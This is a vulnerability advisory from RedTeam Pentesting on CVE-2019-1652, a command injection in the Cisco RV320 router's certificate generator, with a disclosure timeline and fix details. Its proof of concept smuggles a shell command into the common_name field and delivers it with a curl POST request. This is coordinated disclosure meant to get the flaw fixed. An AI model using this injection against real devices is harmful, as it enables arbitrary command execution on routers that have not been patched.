Advisory: Cisco RV320 Command Injection RedTeam Pentesting discovered a command injection vulnerability in the web-based certificate generator feature of the Cisco RV320 router. Details ======= Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 and later Fixed Versions: since 1.4.2.20 Vulnerability Type: Remote Code Execution Security Risk: medium Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2018-004 Advisory Status: published CVE: CVE-2019-1652 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652 Introduction ============ "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details ============ The router's web interface enables users to generate new X.509 certificates directly on the device. A user may enter typical configuration parameters required for the certificate, such as organisation, the common name and so on. In order to generate the certificate, the device uses the command-line program openssl [2]. The device's firmware uses the following format string to assemble the openssl command: ------------------------------------------------------------------------ openssl req -new -nodes -subj '/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s/emailAddress=%s' -keyout %s%s.key -sha256 -out %s%s.csr -days %s -newkey rsa:%s > /dev/null 2>&1 ------------------------------------------------------------------------ Although the web interface filters certain special characters via JavaScript, there is actually no input filtering, escaping or encoding happening on the server. This allows attackers to inject arbitrary commands. Proof of Concept ================ Even though all components of the subject seem to be vulnerable to command injection, the following example uses the common name to trigger a ping command: ------------------------------------------------------------------------ a'$(ping -c 4 192.168.1.2)'b ------------------------------------------------------------------------ The following HTTP POST request invokes the certificate generator function and triggers the command injection. It requires a valid session cookie for the device's web interface. ------------------------------------------------------------------------ curl -s -b "$COOKIE" \ --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\ "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\ "&organization=A&organization_unit=A&email=ab%40example.com"\ "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\ "SelectSubject_s=1" \ --data-urlencode "common_name=a'\$(ping -c 4 192.168.1.2)'b" \ "http://192.168.1.1/certificate_handle2.htm?type=4" ------------------------------------------------------------------------ Afterwards, the incoming ICMP echo requests can be observed on the attacker's system at 192.168.1.2. Workaround ========== Prevent untrusted users from using the router's web interface. Fix === Install firmware version 1.4.2.20 (or later) on the router. Security Risk ============= The vulnerability allows attackers with administrative access to the router's web interface to execute arbitrary operating system commands on the device. Because attackers require valid credentials to the web interface, this vulnerability is only rated as a medium risk. Timeline ======== 2018-09-19 Vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-16 List of affected versions provided by vendor 2019-01-23 Advisory published References ========== [1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html [2] https://wiki.openssl.org/index.php/Command_Line_Utilities RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen